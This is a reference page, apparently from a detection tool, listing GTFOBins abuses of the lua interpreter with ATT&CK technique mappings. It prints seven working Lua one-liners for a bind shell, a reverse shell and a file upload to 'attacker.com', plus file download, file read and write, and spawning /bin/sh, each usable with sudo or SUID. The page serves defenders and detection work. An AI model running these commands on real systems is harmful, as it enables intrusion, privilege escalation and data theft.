Identifier / Programs / Linux and Unix
lua
A powerful, light-weight embeddable programming language. tldr-pages
GTFOBins bind-shell, download, file-read, file-write, reverse-shell, shell, upload 1 Sigma rule name it 2 ATT&CK techniques 7 documented commands
How lua is abused
bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-edownload T1105 Ingress Tool Transfer
-efile-read
-efile-write
-ereverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eshell T1059.004 Command and Scripting Interpreter: Unix Shell
-eupload
-eEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for lua.
7 documented commands
bind-shell unprivileged, with sudo, as SUID
This requires lua-socket to be available.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'download unprivileged, with sudo, as SUID
This requires lua-socket to be available.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open("/path/to/output-file", "wb");
f:write(d);
io.close(f);'file-read unprivileged, with sudo, as SUID
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'file-write unprivileged, with sudo, as SUID
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'reverse-shell unprivileged, with sudo, as SUID
This requires lua-socket to be available.
lua -e '
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'shell unprivileged, with sudo, as SUID
lua -e 'os.execute("/bin/sh")'upload unprivileged, with sudo, as SUID
This requires lua-socket to be available.
lua -e '
local f=io.open("/path/to/input-file", "rb")
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
t:send(d);
t:close();'None of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for lua. The identifier reads the line of each that runs lua.